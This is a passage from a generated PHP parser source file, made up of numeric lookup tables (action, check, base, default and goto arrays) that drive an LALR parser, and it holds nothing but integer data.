    122,  123,  124,  125,  126,  127,  128,  129,  130,  131,
    132,  151,  151,  151,  151,  151,  151,  133,  134,  135,
    136,  137,  138,  139,  140,  141
    );

    protected static $yyaction = array(
    59,   60,  325,   61,   62,-32766,-32766,-32766,  324,   63,
    64,-32767,-32767,-32767,-32767,   98,   99,  100,  101,  102,
    57,  917,-32766,  298,-32766,-32766,   41,  106,  107,  108,
    109,  110,  111,  112,  113,  114,  115,  116,  267,  346,
    65,   66,  927,  249,  929,  928,   67,  535,   68,  220,
    221,   69,   70,   71,   72,   73,   74,   75,   76,   31,
    232,   77,  318,  326,  730,  732,  462,  836,  837,  362,
    348,  895,  238,  578,  280,  363,   46,   27,  327,  859,
    364,  246,  365,  454,  366,   39,  223,  328,-32766,-32766,
    -32766,   36,   37,  367,  333,  360,   38,  368,  329,  423,
    78,  848,  122,  278,  279,-32766,  286,-32766,   35,  369,
    370,  371,  372,  373,  389,  343,  861,  330,  560,  602,
    374,  375,  376,  377,  848,  842,  843,  844,  845,  839,
    840,  239,   82,   83,   84, -350,  389,  846,  841,  330,
    584,  504,  126,   47,  227,  259,  244,  802,  248,   40,
    351,   85,   86,   87,   88,   89,   90,   91,   92,   93,
    94,   95,   96,   97,   98,   99,  100,  101,  102,  103,
    104,  105,  788,  233,  576,-32766,-32766,-32766,  701,  702,
    703,  700,  699,  698,  630,    0,-32766,-32766,-32766,  655,
    656,  216,-32766,  215,-32766,-32766,-32766,-32766,-32766,-32767,
    -32767,-32767,-32767,-32766,  788,  322,  329,  319,  899,  544,
    -117,  257,  128,  277,-32766,-32766,-32766,  369,  370,  889,
    693,  261,  895,  225,  226,-32766,  540,  602,  374,  375,
    675,  535,  344,-32766,  535,-32766,  895,  376,-32766,-32766,
    -32766,  575,-32766,   53,-32766,  322,-32766,  658,  263,-32766,
    187,  257,  600,-32766,-32766,-32766,  788,-32766,-32766,-32766,
    693,   34,-32766,  535,  350,-32766,  388,-32766,  860,  812,
    -32766,-32766,-32766,-32766,-32766,  222,-32766,   54,-32766,   56,
    127,-32766,  100,  101,  102,-32766,-32766,-32766,  788,   22,
    -32766,-32766,  601,  268,-32766,  924,  259,-32766,  388,  666,
    631,  389,-32766,-32766,  330,-32766,  322,  224,  334,-32766,
    259,  917,  257,  503,  861,  535,  103,  104,  105,-32766,
    233,  693,-32766,-32766,-32766,  118,-32766,  494,-32766,  340,
    -32766,  506,  902,-32766,-32766,-32766,  126,-32766,-32766,-32766,
    345,-32766,-32766,-32766,  213,  123,-32766,  535,  130,-32766,
    388,-32766,  452,  599,-32766,-32766,-32766,-32766,-32766,  119,
    -32766,  120,-32766,  788,  233,-32766,  189, -113,  190,-32766,
    -32766,-32766,  194,  217,-32766,-32766,  195,  125,-32766,-32766,
    -32766,-32766,  388,  188,  685,  858,-32766,-32766,  117,-32766,
    329,  319,  353,   28,  509,  788,  597,  277,  357,  468,
    680,  369,  370,  516,-32766,-32766,-32766,  131,  287,   49,
    540,  602,  374,  375,  477,  478,-32766,  520,-32766,-32766,
    528,-32766,  535,-32766,-32766,-32766,-32766,  655,  656,-32766,
    -32766,-32766,  263,-32766,  519,-32766,  507,-32766,  542,  129,
    -32766,  679,  525,  588,-32766,-32766,-32766,  526,-32766,-32766,
    -32766,  690,  530,-32766,  535,  306,-32766,  388,-32766,  541,
    511,-32766,-32766,-32766,-32766,-32766,  224,-32766,   50,-32766,
    58,  482,-32766,   55,  805,   51,-32766,-32766,-32766,  788,
    52,-32766,-32766,  416,  232,-32766,  502,  687,-32766,  388,
    445,  491,  229,-32766,-32766,  551,-32766,  922,  549,  415,
    -32766,  339,  341,  535,  536,  399,  535,  400,  402,  414,
    -32766, -158,  401,-32766,-32766,-32766,  493,-32766,  479,-32766,
    475,-32766, -161,  604,-32766,-32766,-32766,  265,-32766,-32766,
    -32766,  788,-32766,-32766,-32766,  266,  917,-32766,  535,  256,
    -32766,  388,-32766,  342,  212,-32766,-32766,-32766,-32766,-32766,
    338,-32766,  471,-32766,  457,  473,-32766,  359,  603,  258,
    -32766,-32766,-32766,  788,  255,-32766,-32766,  577,  260,-32766,
    376,  579,-32766,  388,  847,  247,    0,-32766,-32766, -350,
    -32766,  657,    0,  337,-32766,    0,    0, -351,  245,    0,
    535,  121,  193,   42,-32766, -282,  791,-32766,-32766,-32766,
    0,-32766,    0,-32766,    0,-32766,    0,    0,-32766,  570,
    -32766, -290,-32766,-32766,-32766,  788,-32766,-32766,-32766, -291,
    499,-32766,  535,  300,-32766,  388,-32766,  288,  251,-32766,
    -32766,-32766,-32766,-32766,  242,-32766,  407,-32766,  684,  340,
    -32766,  686,  614,  616,-32766,-32766,-32766,  618,  563,-32766,
    -32766,  625,  624,-32766,  633,  580,-32766,  388,  565,  587,
    574,  572,-32766,  513,-32766,  512,   45,   44,-32766,  569,
    571,  573,  586,  545,  535,  683,  676,  234,-32766,  510,
    515,-32766,-32766,-32766,  517,-32766,  522,-32766,   81,-32766,
    124,  523,-32766,-32766,-32766,  524,-32766,-32766,-32766,  527,
    -32766,-32766,-32766,  505,  529,-32766,  535,  890,-32766,  388,
    -32766,  900,  668,-32766,-32766,-32766,-32766,-32766,  827,-32766,
    892,-32766,  880,  894,-32766,  191,  192,  896,-32766,-32766,
    -32766,  923,  356,-32766,-32766,  623,  926,-32766,  622,  925,
    -32766,  388,   32,   33,  185,  568,-32766,  321,-32766,  317,
    43,  262,  836,  837,  237,-32766,-32766,  236,   48,-32766,
    838,  535,  235,   30,  219,-32766,  218,  214,-32766,-32766,
    -32766,  186,-32766,   80,-32766,   79,-32766,-32766,-32766,-32766,
    768,  829,  767,-32766,-32766,-32766,  446, -114,-32766,-32766,
    854,  659,-32766,  795,  792,-32766,  388,  498,  472,  437,
    358,  354,  307,-32766,  289,   25,   24,   23,  442, -113,
    842,  843,  844,  845,  839,  840,  309,  786,    0,  480,
    874,  855,  846,  841,  329,  319,  921,  826,-32766,  329,
    -32766,  277,-32766,-32766,  891,  369,  370,-32766,-32766,-32766,
    369,  370,  875,  879,  540,  602,  374,  375,  893,  560,
    602,  374,  375,  329,-32766,  811,-32766,-32766,-32766,-32766,
    -32766,  799,  797,  798,  369,  370,  263,  329,  796,    0,
    0,  329,  543,  560,  602,  374,  375,  598,  369,  370,
    0,    0,  369,  370,  329,    0,    0,  560,  602,  374,
    375,  560,  602,  374,  375,  369,  370,    0,    0,    0,
    329,  691,    0,    0,  560,  602,  374,  375,    0,    0,
    0,  369,  370,  329,    0,  790,    0,  329,  501,  591,
    560,  602,  374,  375,  369,  370,    0,    0,  369,  370,
    0,  329,  593,  560,  602,  374,  375,  560,  602,  374,
    375,    0,  369,  370,  492,    0,    0,    0,  514,    0,
    486,  560,  602,  374,  375,  329,    0,    0,    0,  329,
    0,  561,    0,    0,    0,  789,  369,  370,    0,    0,
    369,  370,-32766,-32766,-32766,  560,  602,  374,  375,  560,
    602,  374,  375,    0,  329,    0,    0,    0,    0,-32766,
    0,-32766,-32766,-32766,-32766,  369,  370,    0,    0,    0,
    0,    0,    0,    0,  560,  602,  374,  375
    );

    protected static $yycheck = array(
    2,    3,    4,    5,    6,    8,    9,   10,    7,   11,
    12,   36,   37,   38,   39,   40,   41,   42,   43,   44,
    61,   76,   25,   73,   27,   28,   13,   14,   15,   16,
    17,   18,   19,   20,   21,   22,   23,   24,   61,    7,
    42,   43,   71,   76,   73,   74,   48,   71,   50,   51,
    52,   53,   54,   55,   56,   57,   58,   59,   60,   61,
    62,   63,   64,   65,   51,   52,   76,   69,   70,   71,
    71,   73,    7,   75,    7,   77,   78,   79,   80,  134,
    82,  122,   84,   81,   86,  135,  136,   89,    8,    9,
    10,   93,   94,   95,   96,    7,   98,   99,   96,  122,
    102,  134,  143,  105,  106,   25,    7,   27,    7,  107,
    108,  113,  114,  115,  138,   26,  117,  141,  116,  117,
    118,  119,  124,  125,  134,  127,  128,  129,  130,  131,
    132,  133,    8,    9,   10,  122,  138,  139,  140,  141,
    142,  143,  143,  145,   31,  147,  148,  146,  150,   25,
    7,   27,   28,   29,   30,   31,   32,   33,   34,   35,
    36,   37,   38,   39,   40,   41,   42,   43,   44,   45,
    46,   47,   12,   49,  142,    8,    9,   10,  106,  107,
    108,  109,  110,  111,   26,    0,    8,    9,   10,  125,
    126,   31,   25,    7,   27,   28,   29,   30,   31,   32,
    33,   34,   35,   25,   12,   97,   96,   97,   71,  142,
    146,  103,   61,  103,    8,    9,   10,  107,  108,   73,
    112,    7,   73,   31,    7,   65,  116,  117,  118,  119,
    142,   71,  143,    8,   71,   75,   73,  124,   78,   79,
    80,  142,   82,   61,   84,   97,   86,  146,  138,   89,
    7,  103,  144,   93,   94,   95,   12,   65,   98,   99,
    112,    7,  102,   71,   71,  105,  106,   75,   71,  106,
    78,   79,   80,  113,   82,   31,   84,   61,   86,   61,
    143,   89,   42,   43,   44,   93,   94,   95,   12,  146,
    98,   99,  144,  147,  102,  144,  147,  105,  106,   73,
    142,  138,  142,  143,  141,  113,   97,   31,  145,   65,
    147,   76,  103,   71,  117,   71,   45,   46,   47,   75,
    49,  112,   78,   79,   80,  143,   82,   71,   84,  141,
    86,  143,  146,   89,  142,  143,  143,   93,   94,   95,
    7,   65,   98,   99,  123,    7,  102,   71,  143,  105,
    106,   75,  147,  144,   78,   79,   80,  113,   82,  143,
    84,  143,   86,   12,   49,   89,   13,  146,   13,   93,
    94,   95,   13,  147,   98,   99,   13,   26,  102,    8,
    9,  105,  106,   13,  142,  150,  142,  143,   13,  113,
    96,   97,   66,   67,   26,   12,   31,  103,   66,   67,
    144,  107,  108,   26,    8,    9,   10,   91,   92,   61,
    116,  117,  118,  119,  100,  101,   65,   26,  142,  143,
    26,   25,   71,   27,   28,   29,   75,  125,  126,   78,
    79,   80,  138,   82,   26,   84,   26,   86,  144,   26,
    89,  142,  143,   26,   93,   94,   95,   26,   65,   98,
    99,  142,  143,  102,   71,   72,  105,  106,   75,  142,
    143,   78,   79,   80,  113,   82,   31,   84,   61,   86,
    61,   68,   89,   61,   73,   61,   93,   94,   95,   12,
    61,   98,   99,   88,   62,  102,   71,   71,  105,  106,
    88,   71,   88,  142,  143,   71,  113,   71,   71,   71,
    65,   71,   71,   71,   71,   71,   71,   71,   71,   71,
    75,   88,   73,   78,   79,   80,   73,   82,   73,   84,
    73,   86,   73,  117,   89,  142,  143,   76,   93,   94,
    95,   12,   65,   98,   99,   76,   76,  102,   71,  121,
    105,  106,   75,   80,   88,   78,   79,   80,  113,   82,
    96,   84,   90,   86,   90,  103,   89,   96,  117,  104,
    93,   94,   95,   12,  120,   98,   99,  142,  120,  102,
    124,  142,  105,  106,  134,  122,   -1,  142,  143,  122,
    113,  146,   -1,  141,   65,   -1,   -1,  122,  122,   -1,
    71,  123,  123,  123,   75,  137,  146,   78,   79,   80,
    -1,   82,   -1,   84,   -1,   86,   -1,   -1,   89,  142,
    143,  137,   93,   94,   95,   12,   65,   98,   99,  137,
    137,  102,   71,  137,  105,  106,   75,  137,  137,   78,
    79,   80,  113,   82,  137,   84,  141,   86,  142,  141,
    89,  142,  142,  142,   93,   94,   95,  142,  142,   98,
    99,  142,  142,  102,  142,  142,  105,  106,  142,  142,
    142,  142,  143,  142,  113,  142,  142,  142,   65,  142,
    142,  142,  142,  142,   71,  142,  142,  145,   75,  143,
    143,   78,   79,   80,  143,   82,  143,   84,  143,   86,
    143,  143,   89,  142,  143,  143,   93,   94,   95,  143,
    65,   98,   99,  143,  143,  102,   71,  144,  105,  106,
    75,  144,  144,   78,   79,   80,  113,   82,  144,   84,
    144,   86,  144,  144,   89,   42,   43,  144,   93,   94,
    95,  144,  144,   98,   99,  144,  144,  102,  144,  144,
    105,  106,  145,  145,   61,  142,  143,  145,  113,  145,
    145,  145,   69,   70,  145,   65,   73,  145,  145,  145,
    77,   71,  145,  145,  145,   75,  145,  145,   78,   79,
    80,  145,   82,  145,   84,  145,   86,  142,  143,   89,
    146,  146,  146,   93,   94,   95,  146,  146,   98,   99,
    146,  146,  102,  146,  146,  105,  106,  146,  146,  146,
    146,  146,  146,  113,  146,  146,  146,  146,  125,  146,
    127,  128,  129,  130,  131,  132,  133,  148,   -1,  149,
    149,  149,  139,  140,   96,   97,  149,  149,  145,   96,
    147,  103,  142,  143,  149,  107,  108,    8,    9,   10,
    107,  108,  149,  149,  116,  117,  118,  119,  149,  116,
    117,  118,  119,   96,   25,  149,   27,   28,   29,   30,
    31,  149,  149,  149,  107,  108,  138,   96,  149,   -1,
    -1,   96,  144,  116,  117,  118,  119,  144,  107,  108,
    -1,   -1,  107,  108,   96,   -1,   -1,  116,  117,  118,
    119,  116,  117,  118,  119,  107,  108,   -1,   -1,   -1,
    96,  144,   -1,   -1,  116,  117,  118,  119,   -1,   -1,
    -1,  107,  108,   96,   -1,  144,   -1,   96,   83,  144,
    116,  117,  118,  119,  107,  108,   -1,   -1,  107,  108,
    -1,   96,  144,  116,  117,  118,  119,  116,  117,  118,
    119,   -1,  107,  108,   85,   -1,   -1,   -1,  144,   -1,
    87,  116,  117,  118,  119,   96,   -1,   -1,   -1,   96,
    -1,  144,   -1,   -1,   -1,  144,  107,  108,   -1,   -1,
    107,  108,    8,    9,   10,  116,  117,  118,  119,  116,
    117,  118,  119,   -1,   96,   -1,   -1,   -1,   -1,   25,
    -1,   27,   28,   29,   30,  107,  108,   -1,   -1,   -1,
    -1,   -1,   -1,   -1,  116,  117,  118,  119
    );

    protected static $yybase = array(
    0,  728,  294,  110,  817,  804,    2,  863,  859,  733,
    821,  788,  771,  835,  775,  757,  888,  888,  888,  888,
    888,  368,  377,  391,  394,  391,  410,   -2,   -2,   -2,
    435,  244,  244,  635,  244,  276,  603,  467,  519,  383,
    351,  160,  192,  551,  551,  551,  551,  690,  690,  551,
    551,  551,  551,  551,  551,  551,  551,  551,  551,  551,
    551,  551,  551,  551,  551,  551,  551,  551,  551,  551,
    551,  551,  551,  551,  551,  551,  551,  551,  551,  551,
    551,  551,  551,  551,  551,  551,  551,  551,  551,  551,
    551,  551,  551,  551,  551,  551,  551,  551,  551,  551,
    551,  551,  551,  551,  551,  551,  551,  551,  551,  551,
    551,  551,  551,  551,  551,  551,  551,  551,  551,  551,
    551,  551,  551,  551,  551,  551,  551,  551,  551,  551,
    551,  551,  158,  429,  468,  470,  527,  528,  529,  530,
    450,  456,  634,  587,  583,  413,  579,  578,  576,  574,
    568,  588,  567,  670,  563,  124,  124,  124,  124,  124,
    124,  124,  124,  124,  124,  225,  371,  206,  206,  206,
    206,  206,  206,  206,  206,  206,  206,  206,  206,  206,
    206,  206,  178,  178,   80,  683,  683,  683,  683,  683,
    683,  683,  683,  683,  683,  683,   -3,  396,  964,  829,
    167,  167,  167,  167,   13,  -25,  -25,  -25,  -25,  148,
    108,  209,  113,  113,  446,  446,  422,  547,  163,  163,
    163,  163,  163,  163,  163,  163,  163,  163,  449,  415,
    240,  240,  614,  614,   64,   64,   64,   64,  302,  -33,
    -55,  235,   -1,  256,  451,  137,  137,  137,  459,  440,
    460,  193,  271,  271,  271,  -24,  -24,  -24,  -24,  545,
    -24,  -24,  -24,  188,  216,  -50,  -50,  -29,  205,  464,
    594,  462,  591,  299,  482,  -41,  317,  442,  226,  454,
    442,  326,  332,  314,  458,   89,  226,  158,  197,  309,
    218,  425,  428,  531,  395,   67,   99,   32,  -23,  182,
    146,  143,  402,  640,  636,  186,  151,  465,  101,  -10,
    182,  221,  534,   88,    1,  533,  242,  365,  598,  436,
    618,  438,  436,  445,  365,  613,  613,  613,  613,  365,
    432,  618,  618,  365,  422,  618,  254,  432,  365,  444,
    432,  448,  613,  523,  521,  436,  439,  418,  618,  618,
    618,  438,  365,  613,  452,  243,  618,  613,  452,  365,
    445,  185,  417,  348,  605,  630,  602,  434,  560,  441,
    406,  621,  619,  628,  437,  430,  622,  597,  495,  518,
    431,  375,  407,  414,  419,  497,  412,  466,  454,  498,
    315,  457,  491,  457,  719,  486,  474,  453,  463,  517,
    370,  353,  536,  495,  648,  656,  669,  433,  532,  653,
    457,  714,  525,  338,  355,  617,  427,  457,  612,  457,
    537,  457,  647,  426,  592,  495,  315,  315,  315,  645,
    713,  712,  706,  699,  694,  693,  685,  409,  678,  516,
    655,   65,  626,  458,  490,  424,  513,  214,  677,  457,
    457,  541,  545,  457,  512,  524,  661,  510,  652,  447,
    469,  672,  440,  654,  457,  461,  671,  214,  408,  403,
    641,  509,  543,  604,  548,  359,  644,  606,  552,  363,
    595,  421,  506,  660,  659,  663,  505,  556,  420,  401,
    443,  609,  501,  651,  423,  483,  455,  404,  561,  416,
    658,  500,  499,  496,    0,    0,    0,    0,    0,    0,
    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
    0,    0,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,    0,    0,
    0,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
    -2,   -2,   -2,  124,  124,  124,  124,  124,  124,  124,
    124,  124,  124,  124,  124,  124,  124,  124,  124,  124,
    124,  124,  124,  124,  124,  124,    0,    0,    0,    0,
    0,    0,    0,    0,    0,    0,  124,  124,  124,  124,
    124,  124,  124,  124,  124,  124,  124,  124,  124,  124,
    124,  124,  124,  124,  124,  124,  163,  163,  163,  163,
    163,  163,  163,  163,  163,  163,  163,  124,  124,  124,
    124,  124,  124,  124,  124,    0,  271,  271,  271,  271,
    72,   72,   72,  163,  163,  163,  163,  163,  163,    0,
    0,    0,    0,    0,    0,    0,    0,    0,    0,   72,
    72,  271,  271,  163,  163,  -24,  -24,  -24,  -24,  -24,
    -50,  -50,  -50,  146,  -24,  -50,  149,  149,  149,  -50,
    -50,  -50,  146,    0,    0,    0,    0,    0,    0,    0,
    149,    0,    0,    0,  432,  618,    0,    0,    0,  149,
    316,  316,  316,  316,  214,  182,    0,  495,  432,    0,
    439,  432,    0,    0,    0,  618,    0,    0,    0,    0,
    0,    0,  338,  532,  333,  495,    0,    0,    0,    0,
    0,    0,    0,  495,  217,  217,    0,    0,  409,    0,
    0,    0,    0,  333,    0,    0,  214
    );

    protected static $yydefault = array(
    3,32767,32767,    1,32767,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,32767,  106,   98,  112,   97,
    108,32767,32767,32767,32767,32767,32767,32767,32767,32767,
    32767,  377,  377,32767,  334,32767,32767,32767,32767,32767,
    32767,32767,32767,  179,  179,  179,32767,32767,32767,  366,
    366,  366,  366,  366,  366,  366,  366,  366,  366,32767,
    32767,32767,32767,32767,  257,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,  262,  382,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,  238,  239,  241,  242,  178,
    367,  131,  263,  381,  177,  205,  207,  256,  206,  183,
    188,  189,  190,  191,  192,  193,  194,  195,  196,  197,
    198,  182,  235,  234,  203,  331,  331,  334,32767,32767,
    32767,32767,32767,32767,32767,32767,  204,  208,  210,  209,
    225,  226,  223,  224,  181,  227,  228,  229,  230,  163,
    163,  163,32767,32767,  376,  376,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,32767,32767,32767,  164,32767,
    217,  218,  292,  292,  122,  122,  122,  122,  122,32767,
    32767,32767,32767,32767,  300,32767,32767,32767,32767,32767,
    302,32767,  212,  213,  211,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,  339,  301,32767,32767,32767,32767,
    32767,32767,32767,32767,  352,  288,32767,32767,32767,  281,
    32767,  109,  111,   61,  318,32767,32767,32767,32767,32767,
    357,32767,32767,32767,   17,32767,32767,32767,  389,  352,
    32767,32767,   19,32767,32767,32767,32767,  233,32767,32767,
    356,  350,32767,32767,32767,32767,32767,   65,  297,32767,
    303,32767,32767,32767,   65,32767,32767,32767,32767,   65,
    32767,  355,  354,   65,32767,  282,  333,32767,   65,   76,
    32767,   74,32767,   95,   95,32767,32767,   78,  329,  345,
    32767,32767,   65,32767,  270,  333,32767,32767,  270,   65,
    32767,32767,    4,  307,32767,32767,32767,32767,32767,32767,
    32767,32767,32767,32767,32767,32767,32767,32767,  283,32767,
    32767,32767,  253,  254,  341,32767,  342,32767,  281,32767,
    221,  200,32767,  202,32767,32767,  286,  289,32767,32767,
    32767,  140,32767,  284,32767,  186,32767,32767,32767,32767,
    384,32767,32767,  180,32767,32767,32767,  136,32767,   63,
    32767,  374,32767,32767,  350,  285,  214,  215,  216,32767,
    32767,32767,32767,32767,32767,32767,32767,  351,32767,32767,
    32767,  116,32767,  318,32767,32767,32767,   77,32767,  184,
    132,32767,32767,  383,32767,32767,32767,32767,32767,32767,
    338,32767,32767,32767,   64,32767,32767,   79,32767,32767,
    350,32767,32767,32767,32767,  120,32767,32767,32767,  175,
    32767,32767,32767,32767,32767,  350,32767,32767,32767,32767,
    32767,32767,32767,32767,    4,32767,  157,32767,32767,32767,
    32767,32767,32767,32767,   25,   25,    3,   25,  103,   25,
    143,    3,   95,   95,   58,  143,   25,  143,   25,   25,
    25,   25,   25,   25,   25,  150,   25,   25,   25,   25,
    25
    );

    protected static $yygoto = array(
    161,  135,  135,  140,  135,  161,  136,  137,  138,  143,
    145,  169,  163,  159,  159,  159,  159,  140,  140,  160,
    160,  160,  160,  160,  160,  160,  160,  160,  160,  155,
    156,  157,  158,  167,  134,  750,  751,  390,  753,  774,
    775,  776,  777,  778,  779,  780,  782,  718,  139,  141,
    142,  144,  165,  166,  168,  184,  196,  197,  198,  199,
    200,  201,  202,  203,  205,  206,  207,  208,  230,  231,
    252,  253,  254,  426,  427,  428,  170,  171,  172,  173,
    174,  175,  176,  177,  178,  179,  180,  181,  146,  147,
    148,  162,  149,  164,  150,  182,  151,  152,  153,  183,
    154,  132,  443,  443,  443,  443,  443,  443,  443,  443,
    443,  443,  443,  311,  485,  421,  421,  449,  417,  419,
    419,  391,  393,  410,  424,  450,  453,  464,  470,  335,
    335,  335,  335,  335,  335,  335,  335,  335,  335,  335,
    335,  335,  335,  335,  335,  646,  646,  906,  906,  813,
    813,  654,  654,  654,  654,  654,  405,  538,  538,  538,
    495,  444,  444,  444,  444,  444,  444,  444,  444,  444,
    444,  444,  611,  611,  611,  611,  270,  606,  612,  490,
    392,  392,  392,  392,  392,  392,  392,  392,  392,  392,
    392,  392,  392,  392,  392,  392,  539,  539,  539,  582,
    395,  395,    5,  878,   16,  210,    6,  211,  396,  396,
    537,  537,  537,    7,  422,   17,   18,    8,   19,    9,
    10,   11,  910,   20,   12,   13,   14,   15,  455,  483,
    632,  617,  615,  613,  615,  508,  398,  641,  636,  850,
    850,  850,  850,  850,  850,  850,  850,  850,  850,  850,
    430,  431,  432,  433,  434,  435,  436,  438,  466,  835,
    458,  463,  500,  467,  273,  315,  830,    1,  697,  316,
    809,  810,    2,  771,   26,   21,  285,  554,  672,  621,
    852,  853,  868,  652,  707,  276,  661,  807,  877,  807,
    439,  291,  250,  885,  885,  808,  241,  886,  886,  294,
    476,   29,  294,  916,  916,  481,  901,  901,  901,  866,
    292,  484,  919,  916,  408,  903,  299,  299,  299,  418,
    884,  304,  397,  397,  429,  716,  762,  404,  919,  919,
    299,  825,  824,  459,  650,  546,  664,  851,  518,  310,
    488,  404,  404,  312,  271,  272,  552,  804,  669,  620,
    863,  487,  403,    0,  705,    0,    0,    0,    0,  302,
    0,    0,  425,    0,    0,    0,    0,    0,    0,    0,
    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
    0,    0,    0,  409
    );

    protected static $yygcheck = array(
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   24,   24,   24,   24,   24,   24,   24,   24,
    24,   24,   38,   38,   38,   38,   38,   38,   38,   38,
    38,   38,   38,   32,   32,   32,   32,   32,   32,   32,
    32,   32,   32,   32,   32,   32,   32,   32,   32,   38,
    38,   38,   38,   38,   38,   38,   38,   38,   38,   38,
    38,   38,   38,   38,   38,   53,   53,   53,   53,   38,
    38,   38,   38,   38,   38,   38,   75,    6,    6,    6,
    38,   92,   92,   92,   92,   92,   92,   92,   92,   92,
    92,   92,   38,   38,   38,   38,   48,   38,   38,   38,
    89,   89,   89,   89,   89,   89,   89,   89,   89,   89,
    89,   89,   89,   89,   89,   89,    7,    7,    7,   31,
    89,   89,   13,   57,   13,   44,   13,   44,   92,   92,
    5,    5,    5,   13,   83,   13,   13,   13,   13,   13,
    13,   13,  112,   13,   13,   13,   13,   13,   21,   21,
    5,    5,    5,    5,    5,    5,    5,    5,    5,   99,
    99,   99,   99,   99,   99,   99,   99,   99,   99,   99,
    84,   84,   84,   84,   84,   84,   84,   84,   84,   57,
    40,   40,   40,   46,   46,   46,   15,    2,   72,   72,
    57,   57,    2,   15,   15,   15,   15,   12,   12,   12,
    12,   12,   12,   12,   12,    4,   59,   57,   57,   57,
    15,   28,   98,   91,   91,   57,   98,   90,   90,    4,
    101,   15,    4,  113,  113,   15,   91,   91,   91,  104,
    39,   30,  113,  113,   39,  110,   96,   96,   96,   39,
    91,   29,   95,   95,   25,   75,   76,   25,  113,  113,
    96,   97,   97,   39,   55,   10,   60,  100,   50,   96,
    39,   25,   25,    9,   48,   48,   11,   87,   61,   47,
    103,   82,    4,   -1,   74,   -1,   -1,   -1,   -1,    4,
    -1,   -1,    4,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
    -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
    -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
    -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
    -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
    -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
    -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
    -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
    -1,   -1,   -1,   75
    );

    protected static $yygbase = array(
    0,    0, -239,    0,   22,  209,  156,  195,    0,   21,
    55,    1,   89, -303,    0,  -52,    0,    0,    0,    0,
    0,  184,    0,    0,  -30,  294,    0,    0,  245,  102,
    98,  174,  -99,    0,    0,    0,    0,    0,  -83,  -19,
    25,    0,    0,    0, -310,    0,    7,   -2, -168,    0,
    51,    0,    0,  -67,    0,   96,    0,  -61,    0,  251,
    50,    2,    0,    0,    0,    0,    0,    0,    0,    0,
    0,    0,   40,    0,   -6,  109,   93,    0,    0,    0,
    0,    0,   -7,  182,  200,    0,    0,   23,    0,  -32,
    65,   61,  -24,    0,    0,   90,   71,   85,   48,   54,
    49,  114,    0,   -5,  122,    0,    0,    0,    0,    0,
    100,    0,  188,   63,    0
    );

    protected static $yygdefault = array(
    -32768,  361,    3,  533,  378,  557,  558,  559,  295,  293,
    547,  553,  460,    4,  555,  763,  281,  562,  282,  469,
    564,  412,  566,  567,  133,  379,  296,  297,  413,  303,
    456,  581,  204,  301,  583,  283,  585,  590,  284,  489,
    440,  380,  347,  451,  209,  420,  447,  619,  269,  627,
    521,  635,  638,  381,  441,  649,  352,  806,  308,  660,
    665,  670,  673,  323,  313,  465,  677,  678,  243,  682,
    496,  497,  696,  228,  704,  717,  320,  781,  783,  382,
    383,  406,  474,  394,  411,  800,  314,  803,  384,  385,
    331,  332,  821,  818,  275,  871,  274,  349,  240,  856,
    857,  461,  355,  909,  867,  264,  386,  387,  290,  305,
    904,  336,  911,  918,  448
    );

    protected static $yylhs = array(
    0,    1,    2,    2,    4,    4,    3,    3,    3,    3,
    3,    3,    3,    3,    3,    8,    8,   10,   10,   10,
    10,    9,    9,   11,   13,   13,   14,   14,   14,   14,
